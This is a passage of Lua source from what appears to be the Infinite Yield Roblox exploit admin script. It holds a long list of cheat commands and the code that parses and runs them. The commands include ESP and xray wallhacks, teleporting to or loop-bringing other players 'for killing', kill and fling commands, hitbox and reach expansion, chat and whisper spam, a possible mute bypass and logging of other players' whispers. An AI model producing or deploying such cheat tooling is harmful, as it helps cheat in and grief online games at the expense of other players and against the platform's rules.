  3524. CMDs[#CMDs + 1] = {NAME = 'unfloat / noplatform', DESC = 'Removes the platform'}
  3525. CMDs[#CMDs + 1] = {NAME = 'swim', DESC = 'Allows you to swim in the air'}
  3526. CMDs[#CMDs + 1] = {NAME = 'unswim / noswim', DESC = 'Stops you from swimming everywhere'}
  3527. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3528. CMDs[#CMDs + 1] = {NAME = 'setwaypoint / swp [name]', DESC = 'Sets a waypoint at your position'}
  3529. CMDs[#CMDs + 1] = {NAME = 'waypointpos / wpp [name] [X Y Z]', DESC = 'Sets a waypoint with specified coordinates'}
  3530. CMDs[#CMDs + 1] = {NAME = 'waypoint / wp [name]', DESC = 'Teleports player to a waypoint'}
  3531. CMDs[#CMDs + 1] = {NAME = 'deletewaypoint / dwp [name]', DESC = 'Deletes a waypoint'}
  3532. CMDs[#CMDs + 1] = {NAME = 'clearwaypoints / cwp', DESC = 'Clears all waypoints'}
  3533. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3534. CMDs[#CMDs + 1] = {NAME = 'goto [plr]', DESC = 'Go to a player'}
  3535. CMDs[#CMDs + 1] = {NAME = 'vehiclegoto / vgoto [plr]', DESC = 'Go to a player while in a vehicle'}
  3536. CMDs[#CMDs + 1] = {NAME = 'loopgoto [plr] [distance] [delay]', DESC = 'Loop teleport to a player'}
  3537. CMDs[#CMDs + 1] = {NAME = 'unloopgoto [plr]', DESC = 'Stops teleporting you to a player'}
  3538. CMDs[#CMDs + 1] = {NAME = 'clientbring / cbring [plr] (CLIENT)', DESC = 'Bring a player'}
  3539. CMDs[#CMDs + 1] = {NAME = 'loopbring [plr] [distance] [delay] (CLIENT)', DESC = 'Loop brings a player to you (useful for killing)'}
  3540. CMDs[#CMDs + 1] = {NAME = 'unloopbring [plr]', DESC = 'Undoes loopbring'}
  3541. CMDs[#CMDs + 1] = {NAME = 'freeze / fr [plr] (CLIENT)', DESC = 'Freezes a player'}
  3542. CMDs[#CMDs + 1] = {NAME = 'thaw / unfr [plr] (CLIENT)', DESC = 'Unfreezes a player'}
  3543. CMDs[#CMDs + 1] = {NAME = 'tpposition / tppos [X Y Z]', DESC = 'Teleports you to certain coordinates'}
  3544. CMDs[#CMDs + 1] = {NAME = 'offset [X Y Z]', DESC = 'Offsets you by certain coordinates'}
  3545. CMDs[#CMDs + 1] = {NAME = 'notifyposition / notifypos [plr]', DESC = 'Notifies you the coordinates of a character'}
  3546. CMDs[#CMDs + 1] = {NAME = 'copyposition / copypos [plr]', DESC = 'Copies the coordinates of a character to your clipboard'}
  3547. CMDs[#CMDs + 1] = {NAME = 'spawnpoint / spawn', DESC = 'Sets a position where you will spawn'}
  3548. CMDs[#CMDs + 1] = {NAME = 'nospawnpoint / nospawn', DESC = 'Removes your custom spawn point'}
  3549. CMDs[#CMDs + 1] = {NAME = 'flashback / diedtp', DESC = 'Teleports you to where you last died'}
  3550. CMDs[#CMDs + 1] = {NAME = 'walltp', DESC = 'Teleports you above/over any wall you run into'}
  3551. CMDs[#CMDs + 1] = {NAME = 'nowalltp / unwalltp', DESC = 'Disables walltp'}
  3552. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3553. CMDs[#CMDs + 1] = {NAME = 'chatlogs / logs', DESC = 'Log what people say or whisper'}
  3554. CMDs[#CMDs + 1] = {NAME = 'chat [text]', DESC = 'Makes you chat a string (possible mute bypass)'}
  3555. CMDs[#CMDs + 1] = {NAME = 'spam [text]', DESC = 'Makes you spam the chat'}
  3556. CMDs[#CMDs + 1] = {NAME = 'unspam', DESC = 'Turns off spam'}
  3557. CMDs[#CMDs + 1] = {NAME = 'pmspam [plr] [text]', DESC = 'Makes you spam a players whispers'}
  3558. CMDs[#CMDs + 1] = {NAME = 'unpmspam [plr]', DESC = 'Turns off pm spam'}
  3559. CMDs[#CMDs + 1] = {NAME = 'spamspeed [num]', DESC = 'How quickly you spam (default is 1)'}
  3560. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3561. CMDs[#CMDs + 1] = {NAME = 'esp', DESC = 'View all players and their status'}
  3562. CMDs[#CMDs + 1] = {NAME = 'noesp / unesp', DESC = 'Removes esp'}
  3563. CMDs[#CMDs + 1] = {NAME = 'partesp [part name]', DESC = 'Highlights a part'}
  3564. CMDs[#CMDs + 1] = {NAME = 'unpartesp / nopartesp [part name]', DESC = 'removes partesp'}
  3565. CMDs[#CMDs + 1] = {NAME = 'chams', DESC = 'ESP but without text in the way'}
  3566. CMDs[#CMDs + 1] = {NAME = 'nochams / unchams', DESC = 'Removes chams'}
  3567. CMDs[#CMDs + 1] = {NAME = 'locate [plr]', DESC = 'View a single player and their status'}
  3568. CMDs[#CMDs + 1] = {NAME = 'unlocate / nolocate [plr]', DESC = 'Removes locate'}
  3569. CMDs[#CMDs + 1] = {NAME = 'xray', DESC = 'Makes all parts in workspace transparent'}
  3570. CMDs[#CMDs + 1] = {NAME = 'unxray / noxray', DESC = 'Restores transparency'}
  3571. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3572. CMDs[#CMDs + 1] = {NAME = 'spectate / view [plr]', DESC = 'View a player'}
  3573. CMDs[#CMDs + 1] = {NAME = 'unspectate / unview', DESC = 'Stops viewing player'}
  3574. CMDs[#CMDs + 1] = {NAME = 'freecam / fc', DESC = 'Allows you to freely move camera around the game'}
  3575. CMDs[#CMDs + 1] = {NAME = 'unfreecam / unfc', DESC = 'Disables freecam'}
  3576. CMDs[#CMDs + 1] = {NAME = 'freecamspeed / fcspeed [num]', DESC = 'Adjusts freecam speed (default is 1)'}
  3577. CMDs[#CMDs + 1] = {NAME = 'gotocamera / gotocam', DESC = 'Teleports you to the location of your camera'}
  3578. CMDs[#CMDs + 1] = {NAME = 'firstp', DESC = 'Forces camera to go into first person'}
  3579. CMDs[#CMDs + 1] = {NAME = 'thirdp', DESC = 'Allows camera to go into third person'}
  3580. CMDs[#CMDs + 1] = {NAME = 'noclipcam / nccam', DESC = 'Allows camera to go through objects like walls'}
  3581. CMDs[#CMDs + 1] = {NAME = 'maxzoom [num]', DESC = 'Maximum camera zoom'}
  3582. CMDs[#CMDs + 1] = {NAME = 'fov [num]', DESC = 'Adjusts field of view (default is 70)'}
  3583. CMDs[#CMDs + 1] = {NAME = 'fixcam / restorecam', DESC = 'Fixes camera'}
  3584. CMDs[#CMDs + 1] = {NAME = 'enableshiftlock / enablesl', DESC = 'Enables the shift lock option'}
  3585. CMDs[#CMDs + 1] = {NAME = 'lookat [plr]', DESC = 'Moves your camera view to a player'}
  3586. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3587. CMDs[#CMDs + 1] = {NAME = 'btools (CLIENT)', DESC = 'Gives you building tools (DOES NOT REPLICATE)'}
  3588. CMDs[#CMDs + 1] = {NAME = 'f3x (CLIENT)', DESC = 'Gives you F3X building tools (DOES NOT REPLICATE)'}
  3589. CMDs[#CMDs + 1] = {NAME = 'delete [instance name] (CLIENT)', DESC = 'Removes any part with a certain name from the workspace (DOES NOT REPLICATE)'}
  3590. CMDs[#CMDs + 1] = {NAME = 'deleteclass / dc [class name] (CLIENT)', DESC = 'Removes any part with a certain classname from the workspace (DOES NOT REPLICATE)'}
  3591. CMDs[#CMDs + 1] = {NAME = 'chardelete / cd [instance name]', DESC = 'Removes any part with a certain name from your character'}
  3592. CMDs[#CMDs + 1] = {NAME = 'chardeleteclass / cdc [class name]', DESC = 'Removes any part with a certain classname from your character'}
  3593. CMDs[#CMDs + 1] = {NAME = 'deletevelocity / dv / removeforces', DESC = 'Removes any velocity / force instances in your character'}
  3594. CMDs[#CMDs + 1] = {NAME = 'lockworkspace / lockws', DESC = 'Locks the whole workspace'}
  3595. CMDs[#CMDs + 1] = {NAME = 'unlockworkspace / unlockws', DESC = 'Unlocks the whole workspace'}
  3596. CMDs[#CMDs + 1] = {NAME = 'invisibleparts / invisparts (CLIENT)', DESC = 'Shows invisible parts'}
  3597. CMDs[#CMDs + 1] = {NAME = 'uninvisibleparts / uninvisparts (CLIENT)', DESC = 'Makes parts affected by invisparts return to normal'}
  3598. CMDs[#CMDs + 1] = {NAME = 'deleteinvisparts / dip (CLIENT)', DESC = 'Deletes invisible parts'}
  3599. CMDs[#CMDs + 1] = {NAME = 'gotopart [part name]', DESC = 'Moves your character to a part or multiple parts'}
  3600. CMDs[#CMDs + 1] = {NAME = 'gotopartclass / gpc [class name]', DESC = 'Moves your character to a part or multiple parts based on classname'}
  3601. CMDs[#CMDs + 1] = {NAME = 'gotopartdelay [num]', DESC = 'Adjusts how quickly you teleport to each part (default is 0.1)'}
  3602. CMDs[#CMDs + 1] = {NAME = 'bringpart [part name] (CLIENT)', DESC = 'Moves a part or multiple parts to your character'}
  3603. CMDs[#CMDs + 1] = {NAME = 'bringpartclass / bpc [class name] (CLIENT)', DESC = 'Moves a part or multiple parts to your character based on classname'}
  3604. CMDs[#CMDs + 1] = {NAME = 'noclickdetectorlimits / nocdlimits', DESC = 'Sets all click detectors MaxActivationDistance to math.huge'}
  3605. CMDs[#CMDs + 1] = {NAME = 'fireclickdetectors / firecd', DESC = 'Uses all click detectors in a game'}
  3606. CMDs[#CMDs + 1] = {NAME = 'simulationradius / simradius', DESC = 'Sets your SimulationRadius to math.huge'}
  3607. CMDs[#CMDs + 1] = {NAME = 'tpunanchored / tpua [plr]', DESC = 'Teleports unanchored parts to a player'}
  3608. CMDs[#CMDs + 1] = {NAME = 'freezeunanchored / freezeua', DESC = 'Freezes unanchored parts'}
  3609. CMDs[#CMDs + 1] = {NAME = 'thawunanchored / thawua / unfreezeua', DESC = 'Thaws unanchored parts'}
  3610. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3611. CMDs[#CMDs + 1] = {NAME = 'fullbright / fb (CLIENT)', DESC = 'Makes the map brighter / more visible'}
  3612. CMDs[#CMDs + 1] = {NAME = 'ambient [num] [num] [num] (CLIENT)', DESC = 'Changes ambient'}
  3613. CMDs[#CMDs + 1] = {NAME = 'day (CLIENT)', DESC = 'Changes the time to day for the client'}
  3614. CMDs[#CMDs + 1] = {NAME = 'night (CLIENT)', DESC = 'Changes the time to night for the client'}
  3615. CMDs[#CMDs + 1] = {NAME = 'nofog (CLIENT)', DESC = 'Removes fog'}
  3616. CMDs[#CMDs + 1] = {NAME = 'brightness [num] (CLIENT)', DESC = 'Changes the brightness lighting property'}
  3617. CMDs[#CMDs + 1] = {NAME = 'globalshadows / gshadows (CLIENT)', DESC = 'Enables global shadows'}
  3618. CMDs[#CMDs + 1] = {NAME = 'noglobalshadows / nogshadows (CLIENT)', DESC = 'Disables global shadows'}
  3619. CMDs[#CMDs + 1] = {NAME = 'restorelighting / rlighting', DESC = 'Restores Lighting properties'}
  3620. CMDs[#CMDs + 1] = {NAME = 'light [radius] (CLIENT)', DESC = 'Gives your player dynamic light'}
  3621. CMDs[#CMDs + 1] = {NAME = 'nolight / unlight', DESC = 'Removes dynamic light from your player'}
  3622. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3623. CMDs[#CMDs + 1] = {NAME = 'age [plr]', DESC = 'Tells you the age of a player'}
  3624. CMDs[#CMDs + 1] = {NAME = 'chatage [plr]', DESC = 'Chats the age of a player'}
  3625. CMDs[#CMDs + 1] = {NAME = 'joindate / jd [plr]', DESC = 'Tells you the date the player joined Roblox'}
  3626. CMDs[#CMDs + 1] = {NAME = 'chatjoindate / cjd [plr]', DESC = 'Chats the date the player joined Roblox'}
  3627. CMDs[#CMDs + 1] = {NAME = 'os [plr]', DESC = 'Shows a players platform'}
  3628. CMDs[#CMDs + 1] = {NAME = 'chatos [plr]', DESC = 'Chats a players platform'}
  3629. CMDs[#CMDs + 1] = {NAME = 'setos [text]', DESC = 'Sets your os to whatever you input'}
  3630. CMDs[#CMDs + 1] = {NAME = 'copyname / copyuser [plr]', DESC = 'Copies a players full username to your clipboard'}
  3631. CMDs[#CMDs + 1] = {NAME = 'copyid [plr]', DESC = 'Copies a players user ID to your clipboard'}
  3632. CMDs[#CMDs + 1] = {NAME = 'copyappearanceid [plr]', DESC = 'Copies a players appearance ID to your clipboard'}
  3633. CMDs[#CMDs + 1] = {NAME = 'bang [plr] [speed]', DESC = 'owo'}
  3634. CMDs[#CMDs + 1] = {NAME = 'unbang [plr]', DESC = 'uwu'}
  3635. CMDs[#CMDs + 1] = {NAME = 'headsit [plr]', DESC = 'Sit on a players head'}
  3636. CMDs[#CMDs + 1] = {NAME = 'walkto / follow [plr]', DESC = 'Follow a player'}
  3637. CMDs[#CMDs + 1] = {NAME = 'unwalkto / unfollow', DESC = 'Stops following a player'}
  3638. CMDs[#CMDs + 1] = {NAME = 'kill [plr] (TOOL)', DESC = 'Kills a player (YOU NEED A TOOL)'}
  3639. CMDs[#CMDs + 1] = {NAME = 'bring [plr] (TOOL)', DESC = 'Brings a player (YOU NEED A TOOL)'}
  3640. CMDs[#CMDs + 1] = {NAME = 'fastkill [plr] (TOOL)', DESC = 'Kills a player (less reliable) (YOU NEED A TOOL)'}
  3641. CMDs[#CMDs + 1] = {NAME = 'fastbring [plr] (TOOL)', DESC = 'Brings a player (less reliable) (YOU NEED A TOOL)'}
  3642. CMDs[#CMDs + 1] = {NAME = 'fling', DESC = 'Flings anyone you touch'}
  3643. CMDs[#CMDs + 1] = {NAME = 'unfling', DESC = 'Disables the fling command'}
  3644. CMDs[#CMDs + 1] = {NAME = 'loopoof', DESC = 'Loops everyones character sounds (everyone can hear)'}
  3645. CMDs[#CMDs + 1] = {NAME = 'unloopoof', DESC = 'Stops the oof chaos'}
  3646. CMDs[#CMDs + 1] = {NAME = 'hitbox [plr] [size]', DESC = 'Expands the hitbox for players heads (default is 1)'}
  3647. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3648. CMDs[#CMDs + 1] = {NAME = 'reset', DESC = 'Resets your character normally'}
  3649. CMDs[#CMDs + 1] = {NAME = 'respawn', DESC = 'Respawns you'}
  3650. CMDs[#CMDs + 1] = {NAME = 'refresh / re', DESC = 'Respawns and brings you back to the same position'}
  3651. CMDs[#CMDs + 1] = {NAME = 'invisible / invis', DESC = 'Makes you invisible to other players'}
  3652. CMDs[#CMDs + 1] = {NAME = 'visible / vis', DESC = 'Makes you visible to other players'}
  3653. CMDs[#CMDs + 1] = {NAME = 'weaken [num]', DESC = 'Makes your character less dense'}
  3654. CMDs[#CMDs + 1] = {NAME = 'unweaken', DESC = 'Sets your characters CustomPhysicalProperties to default'}
  3655. CMDs[#CMDs + 1] = {NAME = 'strengthen [num]', DESC = 'Makes your character more dense (CustomPhysicalProperties)'}
  3656. CMDs[#CMDs + 1] = {NAME = 'unstrengthen', DESC = 'Sets your characters CustomPhysicalProperties to default'}
  3657. CMDs[#CMDs + 1] = {NAME = 'speed / ws [num]', DESC = 'Change your walkspeed'}
  3658. CMDs[#CMDs + 1] = {NAME = 'hipheight / hheight [num]', DESC = 'Adjusts hip height'}
  3659. CMDs[#CMDs + 1] = {NAME = 'jumppower / jpower [num]', DESC = 'Change a players jump height'}
  3660. CMDs[#CMDs + 1] = {NAME = 'gravity / grav [num] (CLIENT)', DESC = 'Change your gravity'}
  3661. CMDs[#CMDs + 1] = {NAME = 'sit', DESC = 'Makes your character sit'}
  3662. CMDs[#CMDs + 1] = {NAME = 'nosit', DESC = 'Prevents your character from sitting'}
  3663. CMDs[#CMDs + 1] = {NAME = 'unnosit', DESC = 'disables nosit'}
  3664. CMDs[#CMDs + 1] = {NAME = 'jump', DESC = 'Makes your character jump'}
  3665. CMDs[#CMDs + 1] = {NAME = 'infinitejump / infjump', DESC = 'Allows you to jump before hitting the ground'}
  3666. CMDs[#CMDs + 1] = {NAME = 'uninfinitejump / uninfjump', DESC = 'Disables infjump'}
  3667. CMDs[#CMDs + 1] = {NAME = 'platformstand / stun', DESC = 'Enables PlatformStand'}
  3668. CMDs[#CMDs + 1] = {NAME = 'unplatformstand / unstun', DESC = 'Disables PlatformStand'}
  3669. CMDs[#CMDs + 1] = {NAME = 'team [team name] (CLIENT)', DESC = 'Changes your team. Sometimes fools localscripts.'}
  3670. CMDs[#CMDs + 1] = {NAME = 'nobillboardgui / nobgui / noname', DESC = 'Removes billboard and surface guis from your players (i.e. name guis at cafes)'}
  3671. CMDs[#CMDs + 1] = {NAME = 'animation / anim [ID] [speed]', DESC = 'Makes your character perform an animation (must be by roblox to replicate)'}
  3672. CMDs[#CMDs + 1] = {NAME = 'dance', DESC = 'Makes you d a n c e'}
  3673. CMDs[#CMDs + 1] = {NAME = 'undance', DESC = 'Stops dance animations'}
  3674. CMDs[#CMDs + 1] = {NAME = 'spasm', DESC = 'Makes you c r a z y'}
  3675. CMDs[#CMDs + 1] = {NAME = 'unspasm', DESC = 'Stops spasm'}
  3676. CMDs[#CMDs + 1] = {NAME = 'headthrow', DESC = 'Simply makes you throw your head'}
  3677. CMDs[#CMDs + 1] = {NAME = 'noarms', DESC = 'Removes your arms'}
  3678. CMDs[#CMDs + 1] = {NAME = 'nolegs', DESC = 'Removes your arms'}
  3679. CMDs[#CMDs + 1] = {NAME = 'nolimbs', DESC = 'Removes your limbs'}
  3680. CMDs[#CMDs + 1] = {NAME = 'naked', DESC = 'Removes your clothing'}
  3681. CMDs[#CMDs + 1] = {NAME = 'noface / removeface', DESC = 'Removes your face'}
  3682. CMDs[#CMDs + 1] = {NAME = 'blockhead', DESC = 'Turns your head into a block'}
  3683. CMDs[#CMDs + 1] = {NAME = 'blockhats', DESC = 'Turns your hats into blocks'}
  3684. CMDs[#CMDs + 1] = {NAME = 'blocktool', DESC = 'Turns the currently selected tool into a block'}
  3685. CMDs[#CMDs + 1] = {NAME = 'creeper', DESC = 'Makes you look like a creeper'}
  3686. CMDs[#CMDs + 1] = {NAME = 'drophats', DESC = 'Drops your hats'}
  3687. CMDs[#CMDs + 1] = {NAME = 'nohats / deletehats / rhats', DESC = 'Deletes your hats'}
  3688. CMDs[#CMDs + 1] = {NAME = 'spin [speed]', DESC = 'Spins your character'}
  3689. CMDs[#CMDs + 1] = {NAME = 'unspin', DESC = 'Disables spin'}
  3690. CMDs[#CMDs + 1] = {NAME = 'hatspin / spinhats', DESC = 'Spins your characters accessories'}
  3691. CMDs[#CMDs + 1] = {NAME = 'unhatspin / unspinhats', DESC = 'Undoes spinhats'}
  3692. CMDs[#CMDs + 1] = {NAME = 'vr', DESC = 'Loads CLOVR by Abacaxl'}
  3693. CMDs[#CMDs + 1] = {NAME = 'split', DESC = 'Splits your character in half'}
  3694. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3695. CMDs[#CMDs + 1] = {NAME = 'autoclick [click delay] [release delay]', DESC = 'Automatically clicks your mouse with a set delay'}
  3696. CMDs[#CMDs + 1] = {NAME = 'unautoclick / noautoclick', DESC = 'Turns off autoclick'}
  3697. CMDs[#CMDs + 1] = {NAME = 'hovername', DESC = 'Shows a players username when your mouse is hovered over them'}
  3698. CMDs[#CMDs + 1] = {NAME = 'unhovername / nohovername', DESC = 'Turns off hovername'}
  3699. CMDs[#CMDs + 1] = {NAME = 'mousesensitivity / ms [0-10]', DESC = 'Sets your mouse sensitivity (affects first person and right click drag) (default is 1)'}
  3700. CMDs[#CMDs + 1] = {NAME = 'clickdelete', DESC = 'Go to settings>Keybinds>Add for clicktp'}
  3701. CMDs[#CMDs + 1] = {NAME = 'clickteleport', DESC = 'Go to settings>Keybinds>Add for click tp'}
  3702. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3703. CMDs[#CMDs + 1] = {NAME = 'tools', DESC = 'Copies tools from ReplicatedStorage and Lighting'}
  3704. CMDs[#CMDs + 1] = {NAME = 'notools / removetools / deletetools', DESC = 'Removes tools from character and backpack'}
  3705. CMDs[#CMDs + 1] = {NAME = 'grabtools', DESC = 'Automatically get tools that are dropped'}
  3706. CMDs[#CMDs + 1] = {NAME = 'ungrabtools / nograbtools', DESC = 'Disables grabtools'}
  3707. CMDs[#CMDs + 1] = {NAME = 'copytools [plr]', DESC = 'Copies a players tools'}
  3708. CMDs[#CMDs + 1] = {NAME = 'dupetools / clonetools', DESC = 'Duplicates your inventory tools'}
  3709. CMDs[#CMDs + 1] = {NAME = 'droptools', DESC = 'Drops your tools'}
  3710. CMDs[#CMDs + 1] = {NAME = 'droppabletools', DESC = 'Makes your tools droppable'}
  3711. CMDs[#CMDs + 1] = {NAME = 'equiptools', DESC = 'Equips every tool in your inventory at once'}
  3712. CMDs[#CMDs + 1] = {NAME = 'reach [num]', DESC = 'Increases the hitbox of your held tool'}
  3713. CMDs[#CMDs + 1] = {NAME = 'unreach / noreach', DESC = 'Turns off reach'}
  3714. CMDs[#CMDs + 1] = {NAME = 'grippos [X Y Z]', DESC = 'Changes your current tools grip position'}
  3715. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3716. CMDs[#CMDs + 1] = {NAME = 'addalias [cmd] [alias]', DESC = 'Adds an alias to a command'}
  3717. CMDs[#CMDs + 1] = {NAME = 'removealias [alias]', DESC = 'Removes a custom alias'}
  3718. CMDs[#CMDs + 1] = {NAME = 'clraliases', DESC = 'Removes all custom aliases'}
  3719. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3720. CMDs[#CMDs + 1] = {NAME = 'addplugin / plugin [name]', DESC = 'Add a plugin via command'}
  3721. CMDs[#CMDs + 1] = {NAME = 'removeplugin / deleteplugin [name]', DESC = 'Remove a plugin via command'}
  3722. CMDs[#CMDs + 1] = {NAME = 'reloadplugin [name]', DESC = 'Reloads a plugin'}
  3723. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3724. CMDs[#CMDs + 1] = {NAME = 'breakloops / break (cmd loops)', DESC = 'Stops any cmd loops (;100^1^cmd)'}
  3725. CMDs[#CMDs + 1] = {NAME = 'removecmd / deletecmd', DESC = 'Removes a command until the admin is reloaded'}
  3726. wait()
  3727.  
  3728. for i = 1, #CMDs do
  3729. local newcmd = Holder.Example:Clone()
  3730. newcmd.Parent = Holder.CMDs
  3731. newcmd.Visible = false
  3732. newcmd.Text = CMDs[i].NAME
  3733. newcmd.Name = 'CMD'
  3734. table.insert(text1,newcmd)
  3735. if CMDs[i].DESC ~= '' then
  3736. local title = Instance.new("StringValue",newcmd)
  3737. title.Name = "Title"
  3738. title.Value = CMDs[i].NAME
  3739. local desc = Instance.new("StringValue",newcmd)
  3740. desc.Name = "Desc"
  3741. desc.Value = CMDs[i].DESC
  3742. newcmd.MouseButton1Down:Connect(function()
  3743. if newcmd.Visible and newcmd.TextTransparency == 0 then
  3744. Cmdbar:CaptureFocus()
  3745. autoComplete(newcmd.Text)
  3746. maximizeHolder()
  3747. end
  3748. end)
  3749. end
  3750. end
  3751.  
  3752. IndexContents('',true)
  3753.  
  3754. function getText(object)
  3755. if object ~= nil then
  3756. if object:FindFirstChild('Desc') ~= nil then
  3757. return {object.Desc.Value, object:FindFirstChild('Title')}
  3758. elseif object.Parent:FindFirstChild('Desc') ~= nil then
  3759. return {object.Parent.Desc.Value, object.Parent:FindFirstChild('Title')}
  3760. end
  3761. end
  3762. return nil
  3763. end
  3764.  
  3765. function checkTT()
  3766. local t
  3767. local guisAtPosition = game:GetService("CoreGui"):GetGuiObjectsAtPosition(IYMouse.X, IYMouse.Y)
  3768.  
  3769. for _, gui in pairs(guisAtPosition) do
  3770. if gui.Parent == CMDsF then
  3771. t = gui
  3772. end
  3773. end
  3774.  
  3775. if t ~= nil then
  3776. local gt = getText(t)
  3777. if gt ~= nil then
  3778. local x = IYMouse.X
  3779. local y = IYMouse.Y
  3780. local xP
  3781. local yP
  3782. if IYMouse.X > 200 then
  3783. xP = x - 201
  3784. else
  3785. xP = x + 21
  3786. end
  3787. if IYMouse.Y > (IYMouse.ViewSizeY-96) then
  3788. yP = y - 97
  3789. else
  3790. yP = y
  3791. end
  3792. Tooltip.Position = UDim2.new(0, xP, 0, yP)
  3793. Tooltip.Description.Text = gt[1]
  3794. if gt[2] ~= nil then
  3795. Tooltip.Title.Text = gt[2].Value
  3796. else
  3797. Tooltip.Title.Text = ''
  3798. end
  3799. Tooltip.Visible = true
  3800. else
  3801. Tooltip.Visible = false
  3802. end
  3803. else
  3804. Tooltip.Visible = false
  3805. end
  3806. end
  3807.  
  3808. function FindInTable(Table, Name)
  3809. for i,v in pairs(Table) do
  3810. if v == Name then
  3811. return true
  3812. end
  3813. end
  3814. return false
  3815. end
  3816.  
  3817. function GetInTable(Table, Name)
  3818. for i = 1, #Table do
  3819. if Table[i] == Name then
  3820. return i
  3821. end
  3822. end
  3823. return false
  3824. end
  3825.  
  3826. function respawn(plr)
  3827. plr.Character:FindFirstChildOfClass('Humanoid').Health = 0
  3828. plr.Character:BreakJoints()
  3829. for _,v in pairs(plr.Character:GetChildren()) do
  3830. if v:IsA("BasePart") then
  3831. v:Destroy()
  3832. end
  3833. end
  3834. end
  3835.  
  3836. refreshCmd = false
  3837.  
  3838. function refresh(plr)
  3839. spawn(function()
  3840. refreshCmd = true
  3841. local rpos = plr.Character.HumanoidRootPart.Position
  3842. wait()
  3843. respawn(plr)
  3844. wait()
  3845. repeat wait() until plr.Character ~= nil and plr.Character:FindFirstChild('HumanoidRootPart')
  3846. wait(.1)
  3847. plr.Character:MoveTo(rpos)
  3848. wait()
  3849. refreshCmd = false
  3850. end)
  3851. end
  3852.  
  3853. local lastDeath
  3854.  
  3855. function onDied()
  3856. spawn(function()
  3857. if pcall(function() Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') end) and Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then
  3858. Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Died:connect(function()
  3859. if Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
  3860. lastDeath = Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
  3861. end
  3862. end)
  3863. else
  3864. wait(2)
  3865. onDied()
  3866. end
  3867. end)
  3868. end
  3869.  
  3870. Clip = true
  3871.  
  3872. Players.LocalPlayer.CharacterAdded:Connect(function()
  3873. FLYING = false
  3874. Floating = false
  3875.  
  3876. if not Clip then
  3877. execCmd('clip nonotify')
  3878. end
  3879.  
  3880. if #spawnCmds > 0 then
  3881. for i,v in pairs(spawnCmds)do
  3882. spawn(function()
  3883. wait(v.DELAY)
  3884. execCmd(v.COMMAND,Players.LocalPlayer)
  3885. end)
  3886. end
  3887. end
  3888.  
  3889. repeat wait() until Players.LocalPlayer.Character:FindFirstChild('HumanoidRootPart')
  3890.  
  3891. if spawnpoint and not refreshCmd and spawnpos ~= nil then
  3892. wait(.1)
  3893. Players.LocalPlayer.Character.HumanoidRootPart.CFrame = spawnpos
  3894. end
  3895.  
  3896. onDied()
  3897. end)
  3898.  
  3899. onDied()
  3900.  
  3901. std={}
  3902. std.inTable=function(tbl,val)
  3903. if tbl==nil then return false end
  3904. for _,v in pairs(tbl)do
  3905. if v==val then return true end
  3906. end
  3907. return false
  3908. end
  3909.  
  3910. function getstring(begin)
  3911. local start = begin-1
  3912. local AA = '' for i,v in pairs(cargs) do
  3913. if i > start then
  3914. if AA ~= '' then
  3915. AA = AA .. ' ' .. v
  3916. else
  3917. AA = AA .. v
  3918. end
  3919. end
  3920. end
  3921. return AA
  3922. end
  3923.  
  3924. findCmd=function(cmd_name)
  3925. for i,v in pairs(cmds)do
  3926. if v.NAME:lower()==cmd_name:lower() or std.inTable(v.ALIAS,cmd_name:lower()) then
  3927. return v
  3928. end
  3929. end
  3930. return customAlias[cmd_name:lower()]
  3931. end
  3932.  
  3933. function splitString(str,delim)
  3934. local broken = {}
  3935. if delim == nil then delim = "," end
  3936. for w in string.gmatch(str,"[^"..delim.."]+") do
  3937. table.insert(broken,w)
  3938. end
  3939. return broken
  3940. end
  3941.  
  3942. historyCount = 0
  3943. cmdHistory = {}
  3944. split=" "
  3945. lastBreakTime = 0
  3946. function execCmd(cmdStr,speaker)
  3947. spawn(function()
  3948. local rawCmdStr = cmdStr
  3949. cmdStr = string.gsub(cmdStr,"\\\\","%%BackSlash%%")
  3950. local commandsToRun = splitString(cmdStr,"\\")
  3951. for i,v in pairs(commandsToRun) do
  3952. v = string.gsub(v,"%%BackSlash%%","\\")
  3953. local x,y,num = v:find("^(%d+)%^")
  3954. local cmdDelay = 0
  3955. if num then
  3956. v = v:sub(y+1)
  3957. local x,y,del = v:find("^([%d%.]+)%^")
  3958. if del then
  3959. v = v:sub(y+1)
  3960. cmdDelay = tonumber(del) or 0
  3961. end
  3962. end
  3963. num = tonumber(num or 1)
  3964. local args = splitString(v,split)
  3965. local cmd = findCmd(args[1])
  3966. if cmd then
  3967. table.remove(args,1)
  3968. cargs = args
  3969. if not speaker then speaker = Players.LocalPlayer end
  3970. if speaker == Players.LocalPlayer then
  3971. if cmdHistory[1] ~= rawCmdStr then table.insert(cmdHistory,1,rawCmdStr) end
  3972. end
  3973. if #cmdHistory > 20 then table.remove(cmdHistory) end
  3974. local cmdStartTime = tick()
  3975. for rep = 1,num do
  3976. if lastBreakTime > cmdStartTime then break end
  3977. pcall(function()
  3978. cmd.FUNC(args, speaker)
  3979. end)
  3980. if cmdDelay ~= 0 then wait(cmdDelay) end
  3981. end
  3982. end
  3983. end
  3984. end)
  3985. end
  3986.  
  3987. function addcmd(name,alias,func,plgn)
  3988. cmds[#cmds+1]=
  3989. {
  3990. NAME=name;
  3991. ALIAS=alias;
  3992. FUNC=func;
  3993. PLUGIN=plgn;
  3994. }
  3995. end
  3996.  
  3997. function removecmd(cmd)
  3998. if cmd ~= " " then
  3999. for i = #cmds,1,-1 do
  4000. if cmds[i].NAME == cmd or FindInTable(cmds[i].ALIAS,cmd) then
  4001. table.remove(cmds, i)
  4002. for a,c in pairs(Holder.CMDs:GetChildren()) do
